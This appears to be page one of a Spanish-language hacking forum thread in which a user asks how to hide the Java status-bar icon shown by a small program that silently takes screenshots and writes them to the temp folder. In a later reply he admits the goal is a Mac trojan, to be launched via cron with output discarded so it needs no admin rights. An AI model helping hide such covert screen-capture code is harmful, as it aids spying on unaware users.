elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Estamos en la red social de Mastodon


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  Java
| | | |-+  Cómo eliminar estado en la barra de estado?
0 Usuarios y 2 Visitantes están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Cómo eliminar estado en la barra de estado?  (Leído 6,332 veces)
WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.605


Sin conocimiento no hay espíritu


Ver Perfil WWW
Cómo eliminar estado en la barra de estado?
« en: 18 Junio 2012, 20:34 pm »

Hola, estoy intentando utilizar algunas librerias desde algunas aplicaciones creadas en java.

La situación es esta... tengo aproximadamente 50 aplicaciones en java para consola sin utilizar ventanas y cáda una de ellas utiliza por lo menos una función que hace que se vea en la barra de estado.

Por ejemplo:
Código
  1. public static int screenCap(){
  2. try {
  3. Robot robot = new Robot();
  4. Rectangle screenRectangle = new Rectangle(java.awt.Toolkit.getDefaultToolkit().getScreenSize());
  5. image = robot.createScreenCapture(screenRectangle);
  6. ImageIO.write(image, "png", new File(System.getProperty("java.io.tmpdir") + "/test.png"));
  7. return 1;
  8. } catch (Exception ex) {
  9. return 0;
  10. }
  11. }

Al ejecutar mi aplicación se muestra la tacita en la barra de estado acusando la ejecución de la aplicación, el problema es que una sola aplicación llama a casi 50 otras aplicaciones con estas funciones y el problema es que se ven 50 items de estados activas.
Lo mismo me pasa en el mac pero solo se ev el ícono redondo de la tacita de java activo.

Como puedo hacer para que esto desaparezca y se ejecute sin la necesidad de acusar en la barra de estado?.

Gracias.


En línea

Nortis

Desconectado Desconectado

Mensajes: 102


Ver Perfil
Re: Cómo eliminar estado en la barra de estado?
« Respuesta #1 en: 18 Junio 2012, 23:24 pm »

Por lo que he entendido tienes una función para  mostrar una barra de estado y lo que deseas es que al ejecutarla desde otra aplicación sin ejecutar esa función. Si es eso lo único que se me ocurre ahora es implementar dos funciones main, uno sin parámetro de entrada y otro con un boolean. El main que recibe un boolean llama a main() y ademas guarda en una variable local el valor (por defecto lo es true). Con esta variable compruebas si tienes que crear la barra de estado.

No se si te refieres a eso, espero haberte ayudado.


En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.605


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: Cómo eliminar estado en la barra de estado?
« Respuesta #2 en: 19 Junio 2012, 15:10 pm »

Hola, no, no es eso xD lo unico que quiero es que la aplicación no muestre la barra independiente si la ejecuto solo o si lo hago desde otra aplicación.

Normalmente todo se ejecuta bién pero al momento de llegar a la función robot.createScreenCapture se muestra la aplicación en la barra de estado y no quiero eso, quiero que se siga ejecutando normalmente sin mostrar nada.
En línea

[Case]


Desconectado Desconectado

Mensajes: 474



Ver Perfil WWW
Re: Cómo eliminar estado en la barra de estado?
« Respuesta #3 en: 19 Junio 2012, 17:56 pm »

Como mandas a llamar las librerias?
En línea

Nortis

Desconectado Desconectado

Mensajes: 102


Ver Perfil
Re: Cómo eliminar estado en la barra de estado?
« Respuesta #4 en: 19 Junio 2012, 21:43 pm »

Has probado ejecutarlo desde un hilo?
En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.605


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: Cómo eliminar estado en la barra de estado?
« Respuesta #5 en: 20 Junio 2012, 19:37 pm »

Acá está el código completo:
Código
  1. import java.awt.*;
  2. import java.awt.image.*;
  3. import java.io.*;
  4. import javax.imageio.ImageIO;
  5.  
  6. import java.awt.AWTException;
  7. import java.awt.Robot;
  8. import java.awt.event.KeyEvent;
  9.  
  10. public class test{
  11.  
  12. public static int screenCap(){
  13. try {
  14. Robot robot = new Robot();
  15. BufferedImage image = robot.createScreenCapture(new Rectangle(java.awt.Toolkit.getDefaultToolkit().getScreenSize()));
  16. ImageIO.write(image, "png", new File(System.getProperty("java.io.tmpdir") + "/test.png"));
  17. return 1;
  18. } catch (Exception ex) {
  19. return 0;
  20. }
  21. }
  22.  
  23. public static void main(String[] args){
  24. screenCap();
  25. while(true){
  26. System.out.println("Buenas");
  27. try{ Thread.currentThread().sleep(1000); }catch(InterruptedException e){ }
  28. }
  29.  
  30. }
  31.  
  32. }

La ejecutas verás que aparece el icono de java en la barra de estado mientras que lo llamas desde la consola de comandos. Si comentas la llamada screenCap(); verás que no aparece el ícono en la barra de estado.
« Última modificación: 20 Junio 2012, 19:41 pm por WHK » En línea

Nortis

Desconectado Desconectado

Mensajes: 102


Ver Perfil
Re: Cómo eliminar estado en la barra de estado?
« Respuesta #6 en: 21 Junio 2012, 02:35 am »

He creado una clase hilo que extiende de Thread y desde ahí he llamado a la clase test. Desde una tercera clase he creado tres objetos hilo. Lo he probado en Arch Linux y no me ha salido ningún icono en la barra de estado. También lo he probado el mismo en OSX Lion y solo me aparecía el principal que es el que llamo. No se si esto te sirve,
En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.605


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: Cómo eliminar estado en la barra de estado?
« Respuesta #7 en: 21 Junio 2012, 18:08 pm »

Hola, me sirve a medias porque justamente estaba intentando crear un troyano en java para mac y ese ícono es mi delator principal xD, pensaba hecharlo a correr con un corn y java test &> /dev/null , de esa forma no necesitaré permisos de administración
« Última modificación: 21 Junio 2012, 18:11 pm por WHK » En línea

Nortis

Desconectado Desconectado

Mensajes: 102


Ver Perfil
Re: Cómo eliminar estado en la barra de estado?
« Respuesta #8 en: 21 Junio 2012, 23:20 pm »

Yo lo probé en la maquina virtual que tengo del lion y no me hizo la captura de pantalla. Mire en /tmp y no me aparecerio, pero en Linux si que lo hizo.
En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.605


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: Cómo eliminar estado en la barra de estado?
« Respuesta #9 en: 21 Junio 2012, 23:50 pm »

Con que lo compilaste? yo lo hize desde la consola con javac test.java y luego lo ejecuté directamente con java test

Te aparece algún error al compilar? Lo hize en Mac OS X Lion 10.7.4
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines